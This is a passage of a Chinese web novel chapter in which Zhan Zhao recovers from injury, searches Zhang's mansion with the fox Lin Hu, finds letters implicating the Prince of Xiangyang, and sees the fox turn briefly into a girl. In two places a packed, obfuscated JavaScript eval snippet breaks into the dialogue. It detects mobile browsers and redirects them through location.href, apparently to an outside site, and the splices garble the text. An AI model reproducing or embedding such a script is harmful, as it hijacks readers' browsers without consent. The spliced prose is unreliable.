接下来的一天一夜,林狐寸步不离地守在展昭床边。她不吃不喝,只是偶尔用爪子碰一碰他的脸颊,确认他还有温度。每当公孙策来换药,她都紧张地盯着,喉咙里发出威胁的低吼,直到看到公孙策只是在他伤口上涂药,才稍稍放松些。 她的毛被眼泪打湿,又被自己蹭得乱七八糟,活像只落汤鸡。可她毫不在意,只是固执地守着,尾巴紧紧缠在展昭的手腕上,像是怕他跑了似的。 “这狐狸倒是忠心。”一个小衙役端着药碗进来,看到这一幕,忍不住小声对旁边的同伴说。 “可不是嘛,”另一个衙役感慨道,“展护卫没白疼它。” 第二天傍晚,展昭的手指突然动了动。林狐立刻警觉起来,猛地抬起头,眼睛瞪得溜圆。她看到展昭的睫毛颤了颤,随即缓缓睁开了眼睛。 “展昭!”林狐激动得差点跳起来,用爪子使劲扒拉着他的脸颊,喉咙里发出兴奋的“嗷嗷”声。 展昭的视线还有些模糊,他眨了眨眼,才看清趴在枕边的狐狸。她的脸脏兮兮的,眼睛却亮得惊人,像是落满了星星。 “水……”他的声音沙哑得厉害,几乎听不清。 林狐立刻明白了,转身就想跳下床去找水,却被他一把抓住了爪子。他的手还有些抖,力道却很稳。 “别跑。”他低声说,眼神里带着一丝不易察觉的温柔。 这时,守在外面的包拯和公孙策听到动静,连忙走了进来。看到展昭醒了,两人都松了口气。 “展护卫,你感觉怎么样?”包拯上前一步,关切地问道。 “好多了,多谢大人关心。”展昭挣扎着想坐起来,却被公孙策按住了。 “躺着吧,你的身子还虚。”公孙策伸手给他把了把脉,脸上露出欣慰的笑容,“恢复得不错,再休养几日便无大碍了。” 展昭点点头,目光落在林狐身上。她正用脑袋蹭着他的手背,尾巴摇得像朵盛开的花。他能感觉到她尾巴上的毛还是湿的,想来是哭了不少。 “让先生见笑了。”他有些不好意思地说。 公孙策笑着摆摆手:“这狐狸倒是通人性,这两天可把它急坏了,守着你寸步不离,连饭都没吃。” 林狐听到“饭”字,肚子才“咕噜”叫了一声。她这才意识到自己饿了,不好意思地低下头,用爪子挠了挠展昭的手背。 展昭忍不住笑了,对旁边的衙役说:“去给它弄点吃的,要烧鸡。” “是!”衙役连忙应声而去。 等林狐狼吞虎咽地吃完烧鸡,展昭才把自己在张府的发现告诉了包拯和公孙策。当说到雷英的死士和那半枚虎符时,包拯的脸色变得异常凝重。 “看来这案子确实牵扯到了襄阳王。”包拯沉声道,“雷英是襄阳王麾下最得力的干将,他插手此事,恐怕不止是为了拐卖孩童那么简单。” “我怀疑,他们是想用这些孩童做什么秘密勾当。”展昭接口道,“张大户只是其中一颗棋子,他的府邸里,定然还藏着更重要的线索。” “你想怎么做?”包拯问道。 “我想再去张府搜查一番。”展昭的眼神变得锐利起来,“必须尽快找到证据,否则恐怕会打草惊蛇。” “不可!”公孙策立刻反对,“你的身子还没好利索,张府定然还有埋伏,太危险了!” “先生放心,我自有分寸。”展昭坚持道,“此事关乎重大,不能拖延。” 包拯沉思片刻,点了点头:“也好,你多加小心。需要多少人手,尽管调动。” “多谢大人。” 展昭说着,就要起身下床。林狐见状,连忙从他怀里跳出来,用爪子按住他的胳膊,摇了摇头。 “你留下。”展昭看出了她的心思,低声道,“那里太危险。” “我不!”林狐固执地用爪子勾住他的衣袖,“我要跟你一起去!我能帮你!” 她的爪子在上次的打斗中被划伤了,虽然公孙策已经给她处理过,包扎了布条,但还是能看出有些红肿。可她毫不在意,只是固执地看着展昭,眼睛里满是坚定。 展昭无奈,知道拗不过她。他弯腰将她抱起来,仔细检查了一下她的爪子:“不许乱跑,不许添乱,否则……” “否则就把我扔给狗,知道啦!”林狐抢在他前面说,得意地用尾巴尖勾了勾他的下巴。 展昭被她逗笑了,抱着她,起身换了身干净的绯红官袍。虽然脸色还有些苍白,但眼神却已恢复了往日的锐利。 ***张大户的府邸依旧是那副戒备森严的样子,只是门口的护院比上次多了一倍。看到展昭带着一队衙役过来,护院们立刻警惕起来,手按在腰间的刀柄上。 “展护卫,这是何意?”一个看起来像是管家的人上前一步,皮笑肉不笑地问道。 “奉命搜查张府。”展昭亮出腰牌,声音冷冽,“让开。” “这……”管家面露难色,“我家老爷正在会客,恐怕不太方便……” “不方便也得方便!”展昭不等他说完,就径直往里走。衙役们立刻跟上,与护院们对峙起来。 就在这时,张大户从里面走了出来。他穿着一身锦袍,脸上堆着虚伪的笑容,眼神却有些闪烁。 “展护卫大驾光临,有失远迎,有失远迎啊。”他拱手道,“只是不知展护卫突然到访,有何贵干?” “奉包大人之命,搜查张府。”展昭开门见山,目光锐利地盯着他。 张大户的笑容僵了一下,随即又恢复了那副虚伪的样子:“展护卫这是……信不过小老儿?”他的手在袖中攥紧,指节发白,显然是在极力压制内心的紧张。 “公事公办。”展昭懒得跟他废话,挥了挥手,“搜!” 衙役们立刻行动起来,开始在府里四处搜查。张大户的脸色变得越来越难看,却又不敢公然阻拦,只能眼睁睁地看着他们翻箱倒柜。 林狐藏在展昭的袖袋里,透过布料的缝隙好奇地打量着张大户。她总觉得这个人怪怪的,眼神飘得像风中的柳絮,肯定藏了什么坏心思。 “展护卫,这样恐怕不太好吧?”张大户试图用言语阻止,“小老儿也是有头有脸的人物,这般兴师动众,传出去怕是……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268099|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张大户若是行得正坐得端,又何必怕人搜查?”展昭冷冷地打断他,“还是说,张府里藏了什么见不得人的东西?” 张大户被噎得说不出话来,脸色一阵青一阵白。 搜查进行得很顺利,却没发现什么有价值的线索。张府收拾得干干净净,看起来确实像个本分的富绅之家。 “展护卫,什么都没找到。”一个衙役过来汇报,脸上带着失望的表情。 张大户的脸上露出一丝得意的笑容:“展护卫,我说过吧,小老儿是冤枉的。” 展昭的眉头皱得更紧了。他明明感觉到这里有问题,怎么会什么都找不到? 就在这时,袖袋里的林狐突然动了动。她的鼻子不停地嗅着,像是闻到了什么熟悉的气味。突然,她猛地从袖袋里钻了出来,朝着书房的方向跑去。 “林狐!”展昭低喝一声,连忙跟了上去。 张大户看到林狐跑向书房,脸色骤变,想也没想就追了上去:“拦住那只野狐狸!” 护院们立刻围了上来,却被衙役们拦住。展昭趁机冲进了书房。 书房里的檀木香压不住纸张的霉味,书架上的古籍码得整齐,却在最底层留了道缝隙,像刻意藏着什么。林狐正蹲在书架前,用爪子执着地扒拉着最里面的一本《论语》。 “你在干什么?”展昭走过去,刚想把她抱起来,却看到她用爪子指着那本《论语》,发出急切的“嗷嗷”声。 他心里一动,伸手抽出那本《论语》。书页刚被翻开,就听到“哗啦”一声,一叠信纸从夹层里掉了出来,散落在地上。 张大户正好冲进来,看到那些信纸,顿时面如土色,双腿一软,瘫倒在地。 展昭弯腰捡起信纸,最上面一封的落款是“雷某”,上面提到了“襄阳西寨”,还说“孩童已备齐,静待时机”。另一封则直指“庞太师打点漕运,届时可借道南下”。 展昭的指尖捏着信纸,微微发颤——不是怕,是怒。他没想到,这起看似简单的拐卖案,竟然牵扯到了襄阳王和庞太师! “张大户,这‘雷某’,可是襄阳王府的雷英?”展昭转过身,目光如剑般盯着瘫在地上的张大户。 张大户浑身发抖,嘴唇哆嗦着,一句话也说不出来。他知道,事情已经败露,等待他的,将是万劫不复的下场。他看着那些信纸,又看了看展昭锐利的眼神,突然像是下定了什么决心,猛地站起来,朝着旁边的书桌角撞了过去。 “不好!”展昭连忙上前阻止,却还是晚了一步。 只听“咚”的一声闷响,张大户的脑袋撞在了书桌角上,鲜血瞬间涌了出来。他倒在地上,眼睛瞪得大大的,似乎还有什么未了的心愿。 林狐被这突如其来的一幕吓得往后缩了缩,却很快镇定下来。她叼起地上的一封信纸,一路跑跳到展昭身上,把信纸递到他面前。 展昭接过信纸,展开一看,上面写着张大户与雷英的约定,还提到了如果事情败露,就让他带着妻儿远走高飞。可展昭知道,这不过是雷英的幌子,像张大户这样的棋子,一旦失去利用价值,只会被灭口。 他将所有信件收进怀里,指尖触到袖袋里温热的狐毛。林狐正仰头看他,黑眼珠里映着书房窗格漏进的阳光,尾巴尖在信上轻轻拍打着,像在催促他“快看懂”。书架上的《论语》敞着页,遮住了半封提及“襄阳王”的信,阳光落在“雷某”二字上,烫得像团火。 “把这里收拾一下,派人看守好张府,不许任何人进出。”展昭对跟进来的衙役吩咐道,声音里带着压抑的怒火。 “是!” 展昭抱着林狐,转身走出书房。他把信塞进怀里时,袖袋里的狐毛蹭过手腕,像被书架上垂落的藤蔓轻轻勾了一下。窗外的梧桐叶落在窗台上,沙沙响,混着他攥紧信纸的力道,像在无声地说:这潭水,深着呢。 林狐窝在他怀里,似乎也感受到了他的沉重,安静地没有乱动。她用脑袋蹭了蹭他的胸口,尾巴轻轻扫过他的手腕,像是在安慰他。 展昭低头看了看怀里的狐狸,眼神柔和了些。他知道,接下来的路会更加艰难,襄阳王和庞太师势力庞大,稍有不慎就会万劫不复。但他不会退缩,为了那些无辜的孩子,为了开封府的百姓,他必须查下去。 阳光透过树叶洒下来,照在他的绯红官袍上,泛着温暖的光泽。林狐抬起头,看着他坚毅的侧脸,心里默默地说:展昭,不管有多难,我都会陪着你。 毕竟,她还没跟他要够烧鸡呢。 8. 五鼠大哥的腰带 开封府的晨露刚被太阳晒成雾,展昭的书房就传来“哐当”一声——林狐踩着砚台跳上书架,带倒了半排卷宗,自己却卡在《史记》和《汉书》之间,尾巴还在外面乱晃,活像个被夹住的偷油贼。 “林狐。”展昭放下手里的《洗冤录》,声音里带着惯常的无奈。这已经是今早第三次收拾她闯的祸了。前几日她趁他换药,竟把他常用的端砚当成了猫抓板,磨得满是爪痕,气得公孙策吹了半天胡子;昨天更过分,偷溜进厨房跳进面盆打滚,弄得满身面粉,转头就往他新换的绯红官袍上蹭,活脱脱把他变成了“花脸猫”。 林狐从书缝里探出头,琥珀色的眼睛瞪得溜圆,嘴里还叼着半支被啃秃的狼毫笔。“不是我弄的!”她心里喊冤,喉咙里却发出“吱吱”的辩解,听起来倒像是在撒娇。 展昭走过去,小心翼翼地把她从书堆里扒出来。灰扑扑的狐毛上沾着墨渍,左耳朵别着片宣纸,活像个刚从墨缸里捞出来的戏子。他伸手想摘她耳朵上的纸,她却猛地歪头,用舌头舔了舔他的指尖——舌尖带着墨香,痒得他指尖发麻。 “还敢闹。”展昭屈指敲了敲她的脑袋,转身去捡散落的卷宗。刚弯下腰,就感觉后腰一沉,回头一看,林狐正蹲在他的官袍后摆上,用爪子扒着布料荡秋千,尾巴扫得他小腿发痒。这狐狸定是把他当成了移动游乐场,前几日还叼走他的剑穗,害得他追着她跑遍整个院子,最后在假山缝里找回个咬得稀烂的穗子。 公孙策抱着药箱进来时,正撞见这一幕。老夫子捋着胡须的手顿在半空,看着展昭背上那团灰毛,又看看被啃得坑坑洼洼的砚台,突然笑出声:“展护卫这是……养了只活宝?” 展昭的耳根微红,伸手把林狐揪下来塞进怀里:“公孙先生见笑了。” 林狐在他怀里不满地扭动,爪子勾住他的衣襟往外挣,却不小心带开了他腰间的玉佩。那玉佩“啪嗒”掉在地上,滚到公孙策脚边。老夫子弯腰捡起,见玉佩上沾着几根狐毛,笑得更厉害了:“看来这狐狸,是把你当成自己的地盘了。” 这话倒是没说错。自打展昭开始教她“规矩”,林狐就像标记领地的野猫,总爱在他的东西上留下痕迹。他练字时,她偷偷在砚台里撒尿;他吃饭时,她叼走他碗里的肉块;最绝的是,她竟把他束发的玳瑁簪拖到床底,换上了根啃得光秃秃的鸡骨头,害得他顶着鸡骨头上了半天公堂,直到包拯忍不住咳嗽提醒,才发现自己成了全府的笑柄。 “展护卫,您的簪子……”小衙役送饭来时,看着展昭头上那根滑稽的鸡骨头,憋笑憋得肩膀直抖。 展昭面不改色地取下鸡骨头,顺手敲了敲怀里正啃他腰带的狐狸:“顽劣之物,见笑了。” 林狐被敲得“嗷”一声,反而咬得更紧,尾巴还得意地扫着他的手背。她就是要让所有人都知道,这冰块脸是她罩着的! 这些日子,开封府上下算是被这一人一狐逗乐了。烧火的老厨娘一边翻着烧饼,一边跟洗菜的丫鬟念叨:“昨天那狐狸还跳进面盆里打滚,弄得满身面粉,跑去蹭展护卫的官袍,把人家好好的绯红袍子弄成了花脸猫。” 丫鬟捂着嘴笑:“我听说公孙先生给展护卫换药时,那狐狸还抢了药杵子,学着先生的样子捣药,结果把自己的爪子砸了,哭得嗷嗷叫呢。” 更有一次,林狐偷了厨房刚炸好的油条,叼到展昭练剑的地方,却被风吹得粘在他的剑鞘上,害得他挥剑时甩出一串油星子,溅了自己一脸。当时路过的王朝马汉没忍住,笑出了声,被展昭瞪得赶紧立正,肩膀却还在偷偷发抖。 展昭坐在廊下教林狐认东西时,总能感受到四面八方投来的目光。他拿起砚台:“这个叫砚台,研墨用的,不是让你磨爪子的。” 林狐歪着头看那砚台,突然伸出舌头舔了舔,墨渍沾在鼻尖,像点了颗黑痣。“硌牙。”她心里嘀咕,喉咙里发出“呜呜”的声音,尾巴却卷住了展昭拿砚台的手腕。 他又拿起支狼毫:“这个是笔,写字用的,不是逗猫棒。” 林狐的眼睛瞬间亮了,猛地扑过去咬住笔杆,甩着头想抢过来。展昭早有防备,手腕一转,笔尖在她鼻尖上轻轻点了下,留下个墨点。这场景被来送茶的小吏看见,回去就添油加醋地传遍了府衙:“展护卫跟狐狸玩呢!拿毛笔给狐狸画花脸!” 就在这时,院外传来一阵马蹄声,紧接着是卢方爽朗的笑声。展昭心里咯噔一下,下意识地把林狐往怀里塞了塞——他可不想让五鼠的人看见自己这副模样。 可惜晚了。卢方大步走进来,一眼就瞧见了展昭怀里那团灰毛,以及他官袍上没来得及拍掉的面粉印。 “哟,展护卫这是……改行做面点了?”卢方挑眉,目光落在林狐身上,突然眼睛一亮,“这狐狸倒是稀奇,尖嘴猴腮的,倒像是从画里跑出来的。” 林狐最恨别人说她丑。她猛地从展昭怀里蹿出来,对着卢方龇牙咧嘴,喉咙里发出“呜呜”的低吼,尾巴炸得像把扫帚。 “这是……跟我示威?”卢方被逗笑了,故意弯腰凑近了些。 这下可捅了马蜂窝。林狐像道灰影子般扑过去,目标精准——正是卢方腰间那条绣着金线的腰带。她死死咬住腰带末端的玉佩,四肢蹬地往后拽,活像只抢不到骨头的小狗。 “哎哎哎!”卢方被她拽得一个趔趄,连忙伸手去扶腰,“这狐狸还真护主!” 展昭又气又急,伸手去拉:“林狐!松手!” 林狐哪里肯听?她不仅没松口,反而腾出一只爪子,在卢方的裤腿上挠了一下,留下几道浅浅的白痕。卢方笑得更欢了:“展护卫,你这狐,比你可凶多了。” 展昭的脸一阵红一阵白。他想把林狐抱回来,可她咬得太紧,他一拽,卢方也跟着往前踉跄,场面顿时变得滑稽起来。廊下的衙役们偷偷扒着柱子看,笑得直捂嘴。 就在这时,林狐突然松了口。她瞅准机会,顺着展昭的手臂往上爬,爪子勾住他的衣襟,使劲往下拽。展昭没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这是……送我的?”卢方愣了一下,随即哈哈大笑,“行,那我就却之不恭了。”他弯腰捡起鸡骨头,冲着林狐拱了拱手,“多谢狐姑娘赏赐。” 林狐得意地翘了翘尾巴,又往展昭怀里钻了钻,把脸埋在他的胸口。展昭无奈地叹了口气,抱着她目送卢方离开,直到那爽朗的笑声消失在巷口,才低头看着怀里的狐狸:“你啊……” 林狐抬起头,用舌头舔了舔他的下巴,像是在撒娇。阳光透过蔷薇花丛照下来,落在她灰扑扑的毛上,也落在他绯红的官袍上,暖融融的。展昭突然觉得,这样的日子,似乎也没那么难熬。 至少,再也不会有人说他“端得像块寒冰”了。毕竟,谁见过抱着狐狸、官袍上沾着面粉、领口还别着根狐毛的寒冰呢? 廊下的衙役们还在偷偷议论,声音里带着掩饰不住的笑意。展昭抱着林狐,在竹椅上坐下,任由她在自己怀里找了个舒服的姿势睡去。他低头看着她熟睡的脸,鼻尖上还沾着点墨渍,像颗调皮的痣。 或许,养只狐狸,真的是件趣事。 他拿起桌上的《洗冤录》,却没再看进去。怀里的小身子温热而柔软,呼吸均匀,偶尔还会咂咂嘴,像是在做什么美梦。展昭的嘴角,不自觉地向上弯了弯。 院角的蔷薇还在静静开放,风吹过,花瓣落在他的官袍上,也落在林狐的尾巴上。红的花,灰的毛,青的布,缠成一团解不开的春色,像一幅未完待续的画。而画里的人,正抱着他的小狐狸,在开封府的暖阳里,享受着这难得的、闹哄哄的清静。 9. 夜月心乱 于是接下来的日子里,开封府多了道奇景:冷面御猫耐着性子教一只藏狐“做人”(做狐),偏偏这狐狸满肚子坏水,净挑他疼处捣乱。 头一日教“不许乱咬”,展昭拿了块肉干放在桌上,按住跃跃欲试的林狐:“喊你再动。”她却趁他转身拿书卷的功夫,叼起肉干蹿上房梁,还冲他龇牙咧嘴。展昭忍着肩痛上房去抓,她却把肉干往瓦缝里塞,两人在屋顶滚作一团,他的伤处被扯得生疼,她却用尾巴勾住他的脖颈,把沾满灰尘的脸往他下巴上蹭。最后还是包拯路过,仰头喊:“展护卫,房梁要被你们踩塌了!”他才红着脸抱着狐狸下来,怀里的小兽还在得意地嚼着肉干。 第二日教“不许上公案”,林狐偏趁展昭不在,蹲在包拯的公案上,用爪子拨弄惊堂木。恰逢击鼓升堂,她吓得一哆嗦,把惊堂木扒到地上,“咚”一声震得满堂皆惊。包拯看着公案上那团灰毛,又看看门口赶来的展昭,无奈地扶额:“展护卫,你的徒弟比你当年还野。”展昭把她揪下来,她却顺势钻他怀里,爪子勾住他的腰带,喉咙里发出“呜呜”的委屈声,惹得堂下百姓偷笑。 第三日教“听指令”,展昭拿了根红绳系在指尖,晃了晃:“过来。”林狐却扭头去追蝴蝶,气得他把红绳缠在她尾巴上,牵着她在院子里绕圈。路过厨房时,厨子老王端着刚出锅的馒头出来,见展昭像牵小狗似的牵着狐狸,笑得差点把盘子摔了:“展护卫,这狐要是能学会拜年,卑职给它蒸肉包子!”林狐像是听懂了,突然挣开红绳,站起来作揖似的拱了拱前爪,老王惊呼:“成精了!”展昭却发现她的爪子正偷偷勾着老王的裤腿,下一秒就叼走了他盘子里的热馒头,烫得直甩脑袋。 最让展昭头疼的是“不许偷喝”。他书房里藏着一小坛上好的女儿红,是白玉堂上次送来的“赔礼”。林狐不知从哪儿闻着味,趁他午睡时,用爪子扒开泥封,把脑袋伸进坛子里猛灌,醉得四脚朝天躺在酒坛边,尾巴上还沾着酒液。展昭醒来时,见她肚子鼓得像个球,正抱着酒坛底舔,气得想打她屁股,手举到半空却又放下——她醉眼朦胧地抬头看他,突然扑进他怀里,用舌头舔他的喉结,痒得他差点把她扔出去。结果那日下午,开封府的人都看见展护卫抱着只醉狐坐在廊下,狐狸吐得他衣襟全是酒气,他却耐着性子给她顺毛,耳尖红得像被酒熏过。 这些趣事像春风拂过,吹散了府里的沉郁,连公孙策都开始给林狐开“小灶”,用蜂蜜拌肉糜哄她。可消息传到朝堂,却成了庞太师攻击包拯的利器。 早朝时,庞太师晃着玉带出列,阴阳怪气地奏道:“陛下,臣听闻开封府近来不查案,反倒养了只狐狸当宝贝,展护卫更是终日与狐为伍,连公务都抛在脑后。如此懈怠,怕是辜负陛下信任啊。”他身后的党羽纷纷附和,朝堂上顿时一片嗡嗡声。 包拯出列,声如洪钟:“庞太师此言差矣。展护卫养伤期间教狐,不过是闲时趣事;况且那狐狸通人性,前几日还助开封府寻回被拐孩童。倒是太师,屡屡插手地方案件,莫非对开封府查案之事格外上心?”几句话堵得庞太师脸色发青,皇帝打了圆场:“展护卫有功,养伤期间些许趣事,不必深究。”这场风波才草草落幕。 ****** 开封府的傍晚总裹着层淡淡的槐花香。夕阳把影壁上的“明镜高悬”四个字镀得发红,展昭刚送走最后一波录口供的百姓,就见卢方带着韩彰、徐庆、蒋平、白玉堂大步流星地进了府门。 “展护卫!”卢方抱拳笑道,玄色短打沾着赶路的尘土,“你前日托人带信说有要事相商,我等兄弟不敢耽搁,快马加鞭赶来了。” 白玉堂斜倚着门框,手里把玩着折扇,白衣上落了片槐花瓣,笑得带点痞气:“怎么?想我等了?莫不是又遇上什么棘手案子,离了我等兄弟就办不成?” 展昭无奈地摇摇头,刚要回话,就听见后院传来“哐当”一声响,接着是衙役的惊呼:“哎呀!我的瓷碗!” 他心里咯噔一下,不用想也知道是谁在捣乱。 果然,林狐叼着块啃剩的鸡骨头,从月亮门里窜了出来,爪子上还沾着白瓷碎片——显然是又把厨房的碗给撞翻了。更糟的是,她慌不择路,竟一头撞向正低头系鞋带的徐庆,差点把这位“穿山鼠”撞个趔趄。 “嗷呜!”林狐被自己吓了一跳,尾巴炸成蓬松的大扫帚,嘴里的鸡骨头“啪嗒”掉在地上。 徐庆揉着膝盖直乐:“这狐狸倒生得胆大,敢撞你徐三爷?” 展昭的脸瞬间沉了下来。这狐狸自从窑厂那趟回来就越发没规矩,昨日偷了公孙策的药杵当玩具,今早又把王朝的箭囊啃出个洞,如今竟差点伤了客人。 “林狐!”他沉声喝止,快步走过去。 林狐见他动了真怒,耳朵立刻耷拉下来,夹着尾巴往卢方身后钻,还偷偷探出脑袋冲展昭龇牙——那点野性的狡黠,倒有几分像白玉堂。 “这就是你信里提的那只灵狐?”蒋平蹲下身逗她,手指刚要碰到狐毛,就被林狐张嘴作势要咬,吓得连忙缩回手。 展昭一把拎住她后颈的皮毛,力道比往常重了些:“屡教不改,今日定要罚你。” “放开我!我不是故意的!”林狐在他手里乱蹬,爪子挠得他手腕发痒,“那胖子挡路!我凭什么受罚?” 她的抗议在众人听来只是“嗷嗷”的急叫,配上那副张牙舞爪的模样,倒像是在撒娇。徐庆看得直乐,刚想说“算了”,就见展昭转身往柴房走。 “展护卫这是……”卢方愣了愣。 “关她一晚,让她好好反省。”展昭的声音冷得像淬了冰,“谁也不许送吃食,不许放她出来。” 林狐吓得魂飞魄散,在他手里拼命挣扎:“展昭你混蛋!你敢关我?我要咬你!”她使劲扭动身子,用尾巴抽他的手背,却只换来他更紧的钳制。 柴房里堆着过冬的干草,弥漫着霉味和烟火气。展昭把她扔在草堆上,转身就要关门。林狐扑过去扒住门框,眼泪汪汪地看着他,尾巴尖勾住他的靴尖轻轻晃——这是她撒娇的惯用招数。 可这次,展昭只是掰开她的爪子,“砰”地关上了门,还上了锁。 “嗷呜——!”林狐的哭声混着爪子扒门的“咔哒”声,从门缝里挤出来,听得人心头发紧。 白玉堂挑眉:“你对只狐狸动这么大火气?” 展昭没说话,只是用帕子擦了擦被挠红的手腕,指尖却微微发颤。他何尝不知道这狐狸顽劣本性难移,可刚才她差点撞翻徐庆时,他分明看到她眼底闪过一丝不属于野兽的惊慌——那是怕他生气的模样。 “先进屋说正事吧。”他转身往书房走,脚步快得像是在逃。 ***包大人的书房里,烛火被穿堂风搅得晃晃悠悠。展昭将窑厂搜到的虎符、张府找到的密信一一铺开,声音低沉:“此案牵扯襄阳王与庞太师,恐怕……” 话没说完,柴房方向又传来林狐的嚎叫,这次带着点委屈的呜咽,像是被踩到了尾巴。展昭握着茶杯的手指猛地收紧,滚烫的茶水溅在手背上,他竟没察觉。 卢方看在眼里,忍不住道:“展护卫,要不……” “不必。”展昭打断他,目光重新落回密信上,可眼角的余光总忍不住瞟向窗外——柴房就在西墙根下,此刻那团灰扑扑的影子,怕是正扒着门缝哭呢。 接下来的商议,他听得有些心不在焉。白玉堂分析漕运路线时,他想起林狐偷喝他茶杯里的水,被烫得直吐舌头;韩彰研究虎符纹路时,他耳边全是她用尾巴扫过他官袍的窸窣声。直到包拯拍板“三日后突袭襄阳西寨”,他才猛地回神,发现自己手里的茶杯早已空了。 送走五鼠时,月已上中天。银盘似的月亮悬在槐树梢,把柴房的屋顶照得泛着冷光。展昭跟包拯告辞后,几乎是脚不沾地地往柴房走,玄色衣袍被风吹得猎猎作响——他甚至用上了轻功。 柴房里静悄悄的,没了扒门声。展昭心里一紧,连忙开锁推门。 月光顺着门缝涌进来,在干草堆上投下道细长的光带。林狐蜷缩在光带边缘,背对着门口,蓬松的尾巴盖住脑袋,只露出两只耷拉的耳朵。地上散落着几根啃秃的草茎,显然是饿极了。 “林狐?”展昭放轻脚步走过去。 那团灰毛猛地一颤,缓缓转过身。 月光照在她脸上,湿漉漉的,像是刚哭过。琥珀色的眼睛里蒙着层水汽,看到他时,那水汽突然就滚了下来,顺着鼻尖滴在干草上。 “嗷呜 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少女蜷缩在他臂弯里,显然还没从剧痛中缓过神,只是觉得冷,下意识地抓住了离她最近的东西——展昭的手臂。肌肤相触的瞬间,她打了个哆嗦,这才迟钝地意识到自己的变化,低头看着纤细白皙的手,又摸了摸光秃秃的身后(没了尾巴),突然“呀”了一声。 “我……变人了?”她愣愣地喃喃自语,随即皱起眉,从散落的狐毛里捡起一根,嫌弃地扔掉,“呸,还得脱毛,早知道变人这么麻烦,还不如当狐狸。” 展昭背对着她,肩膀绷得像块石头。他能听到身后布料摩擦的窸窣声,能闻到她身上混杂着干草味的、属于“人”的气息,喉结忍不住上下滚动。这变故太过离奇,他办案多年,见过装神弄鬼的歹徒,也听过精怪作祟的传闻,却从未亲身遇上这样的事——一只狐狸,竟在满月之夜变成了人。 他深吸一口气,猛地解下自己的外袍,反手扔了过去,声音里带着压抑的紧绷:“穿上!” 外袍带着他的体温和淡淡的皂角香,落在少女头上。林狐摸索着把袍子裹在身上,宽大的衣摆拖在干草上,她这才想起什么,抬头看向展昭僵硬的背影,突然笑道:“展昭,你转过来啊。你看,我真的变人了!是不是比狐狸好看?” 展昭的耳尖红得快要滴血,攥紧的拳头指节泛白。他从未与女子如此亲近,更何况是这般……荒唐的情形。他盯着柴房的木门,仿佛要在上面盯出个洞来,沉声道:“安分穿好衣服。” “我穿好了呀。”林狐踮起脚尖,绕到他面前,歪着头打量他爆红的耳根,“你脸怎么这么红?跟煮熟的虾子似的。是不是吓着了?我告诉你,我也不知道会这样,刚才骨头缝都在疼……” 她叽叽喳喳地说着,浑然不觉自己裹着他的官袍,领口大开,露出精致的锁骨。展昭的目光刚扫到,就像被烫到似的猛地移开,落在她光着的脚踝上——那里还沾着干草屑,跟当初那只狐狸的爪子一样不老实。 “走吧。”他率先迈步往外走,脚步快得有些仓促,“先回我房里,再做计较。” 林狐蹦蹦跳跳地跟在他身后,踩着他的影子走,袍子的下摆扫过地面,留下串细碎的脚步声。走到门口时,她突然想起什么,回头看了眼地上的狐毛,又摸了摸身上的官袍,突然凑近他耳边:“展昭,你说公孙先生看到我这样,会不会把我当成妖怪抓去炼丹?” 温热的气息拂过耳廓,展昭猛地侧过脸,两人的鼻尖差点撞上。月光落在她含笑的眼睛里,亮得像揉碎了的星子,他的心跳漏了一拍,连忙后退半步,撞到了门框。 “咚”的一声闷响,倒把林狐吓了一跳。 展昭清了清嗓子,别开视线:“有我在,没人敢动你。” 这句话说得又快又急,带着点连他自己都没察觉的笃定。 满月的光洒在开封府的青石板上,把两人的影子拉得很长。一个走得笔直,脊背挺得像杆枪;一个蹦蹦跳跳,时不时伸手去够枝头的槐花瓣。谁也没再说话,可柴房里那点微妙的气氛,却像槐花香一样,悄悄缠上了两人的衣角,跟着他们往亮着灯的院落走去。 而落在柴房地上的那撮狐毛,正被月光照得泛着银光…… 10. 化形变化 从柴房回卧房的路,铺着青石板的小径被月光洗得发亮。林狐穿着展昭那件略大的月白外袍,袖子挽了三圈才露出手腕,下摆扫过脚踝,像拖着片云朵。她蹦蹦跳跳地踩在他的影子上,时而故意落后两步,看他的衣袍被风掀起边角,又小跑着追上去,用指尖轻轻拽住他的腰带。 “展昭,你看我现在像不像人了?”她仰起脸,月光落在她鼻尖,泛着层细瓷似的光。肩头上未褪尽的灰毛在夜色里不太显眼,只有凑近了才能看见几缕柔软的绒毛,像沾了把碎雪。 展昭的脚步顿了顿,垂眸看她。她的眼睛比藏狐形态时更亮,琥珀色的瞳仁里盛着整片星空,连带着那点未褪的野性,都变得生动起来。“像。”他的声音很轻,被风卷着散在桂树影里,“只是……” 话音未落,天际突然滚过一团乌云。晚风骤起,吹得两侧的梧桐叶哗哗作响,像是有无数只手在暗处翻动书页。林狐正笑着踮脚去够枝头的桂花,忽觉浑身一阵刺痛——骨头像是被谁攥住了往回缩,皮肤下的血液在疯狂倒流,刚长齐的指甲缝里冒出尖利的爪尖。 “啊!”她痛得弯下腰,指尖的触感瞬间从丝绸变成了粗糙的皮毛。月白中衣突然变得空荡荡的,像个被撑破的布袋,将她整个罩了进去。 展昭只听见布料窸窣作响,眼前的人影骤然缩成一团。他心里猛地一紧,快步上前蹲下,指尖刚触到那团抖动的衣袍,就感觉到里面有个毛茸茸的东西在挣扎。 “林狐?”他的声音带着不易察觉的颤抖。 乌云恰好遮住最后一缕月光,周遭瞬间暗了下来。衣袍领口处,一颗灰扑扑的脑袋颤巍巍地探出来——还是那张方方正正的藏狐脸,豆豆眼瞪得溜圆,满是茫然和惊慌,嘴角还沾着点刚才偷叼的桂花碎屑。 “嗷呜……”她委屈地哼唧了一声,爪子在空荡荡的衣袍里乱蹬,却怎么也站不稳,反倒像个被裹在襁褓里的婴儿,滑稽又可怜。 